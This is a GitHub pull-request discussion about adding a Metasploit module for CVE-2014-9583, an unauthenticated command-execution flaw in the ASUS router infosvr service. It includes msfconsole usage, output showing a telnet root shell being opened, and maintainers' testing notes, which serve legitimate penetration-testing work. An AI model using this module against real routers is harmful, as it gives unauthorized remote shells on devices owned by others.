Add ASUS infosvr Auth Bypass Command Execution exploit

[bcoles]

This PR adds an ASUS infosvr Unauthenticated Command Execution exploit (CVE-2014-9583).

        This module exploits an unauthenticated remote command execution
        vulnerability in the infosvr service running on UDP port 9999 on
        various ASUS routers.

        This module launches the BusyBox Telnet daemon on the port specified
        in the TelnetPort option to gain an interactive remote shell.

        This module was tested successfully on an ASUS RT-N12E with firmware
        version 2.0.0.35.

        Numerous ASUS models are reportedly affected, but untested.

Example Output

msf > use exploit/linux/misc/asus_infosvr_exec 
msf exploit(asus_infosvr_exec) > set rhost 10.1.1.1
rhost => 10.1.1.1
msf exploit(asus_infosvr_exec) > set telnetport 4444
telnetport => 4444
msf exploit(asus_infosvr_exec) > set verbose true
verbose => true
msf exploit(asus_infosvr_exec) > run 

[*] 10.1.1.1 - Starting telnetd on port 4444...
[*] 10.1.1.1 - Waiting for telnet service to start on port 4444...
[*] 10.1.1.1 - Connecting to 10.1.1.1:4444...
[*] 10.1.1.1 - Trying to establish a telnet session...
[+] 10.1.1.1 - Telnet session successfully established...
[*] Found shell.
[*] Command shell session 1 opened (10.1.1.197:42875 -> 10.1.1.1:4444) at 2017-11-28 07:38:37 -0500

id
/bin/sh: id: not found
# cat /proc/version
cat /proc/version
Linux version 2.6.30.9 (root@wireless-desktop) (gcc version 3.4.6-1.3.6) #2 Thu Sep 18 18:12:23 CST 2014
# exit
exit

[bwatters-r7]

I realized I don't have an asus router handy, so I ordered a cheap one. I'd pair testing with #9441

[bcoles]

@bwatters-r7 now that you've ordered a device, it's probably a good time to mention that this module, and the module in PR #9441, likely won't work with ancient ASUS RX series routers which don't appear to have an infosvr service listening on port 9999/udp. At least, not at boot.

Additionally, the module in PR #9441 is unlikely to work on ASUS RT-N12E model routers as they don't have a vpnupload.cgi file. It may work on other ASUS RT-N12 series routers, because ASUS don't seem to have a very consistent model naming scheme.

[bwatters-r7]

Heh; no worries. It is an RT model, and if it does not work, meh.

[pedrib]

@bcoles the vpnupload.cgi file is not a real file - just a function handle inside the httpd server! So check it out on your router, it still might work.

[bcoles]

Hey @pedrib - nice work on the vpnupload.cgi + infosvr vuln.

I've replied in your PR.

[bwatters-r7]

FWIW, I have the RT-N12 HW ver D1, and it does have something listening on UDP port 9999:
udp 0 0 0.0.0.0:9999 0.0.0.0:*

Unfortunately, the exploit fails, but I have not had any time to figure out why:

msf exploit(asus_infosvr_exec) > show options

Module options (exploit/linux/misc/asus_infosvr_exec):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   RHOST                192.168.132.205  yes       The target address
   RPORT                9999             yes       The target port (UDP)
   TelnetBannerTimeout  25               yes       The number of seconds to wait for the telnet banner
   TelnetPort           4444             yes       The port for Telnetd to bind
   TelnetTimeout        10               yes       The number of seconds to wait for connection to telnet


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(asus_infosvr_exec) > run

[*] 192.168.132.205 - Starting telnetd on port 4444...
[*] 192.168.132.205 - Waiting for telnet service to start on port 4444...
[*] 192.168.132.205 - Connecting to 192.168.132.205:4444...
[-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.168.132.205:4444).
[*] Exploit completed, but no session was created.

[bcoles]

@bwatters-r7 :(

Is the firmware up to date? The infosvr bug is a few years old now. Some known patched firmware versions are listed here: https://github.com/jduck/asus-cmd

It might be worth trying the scanner module in #9245 to check if the device is vulnerable.

It seems (almost) every ASUS router does have the infosvr service, except the RX series.

[bcoles]

One important note which should probably be documented somewhere, is the nature of shell termination.

When you ^C the telnet shell, rather than exit, the device will continue to listen on TelnetPort but telnet will refuse to handle subsequent connections.

When you exit the telnet shell, the telnet service will continue to handle subsequent connections.

[bwatters-r7]

I was not able to get this to work after downgrading to FW 3.0.0.4.374_813 on my RT-N12D1. It did work with #9441

[bcoles]

@bwatters-r7 I would have thought that version would be vulnerable. But again, the versioning scheme isn't a reliable guide.

Does the scanner module flag the device as vulnerable ?

[bcoles]

@bwatters-r7 Alternatively, jduck's asus-cmd tool should tell you if a device is vulnerable.

Note that the default command executed is id which doesn't appear to be present on several (most?) ASUS routers. I prefer ls.

[bcoles]

Renamed for clarity.

When I wrote this module it was the only ASUS infosvr module in the framework. That will no longer be the case soon.

[bcoles]

Bump. Anyone happen to have an ASUS router? Alternatively, I can provide a pcap.

[bwatters-r7]

@bcoles, I'd say it is time for a pcap, if you have one.

[pedrib]

Sorry guys. I've sold my unit after I finished the exploit, so don't have any available.

[bcoles]

pcap sent

[bwatters-r7]

Release Notes:

This PR adds an ASUS infosvr Unauthenticated Command Execution exploit (CVE-2014-9583).

[bcoles]

Thanks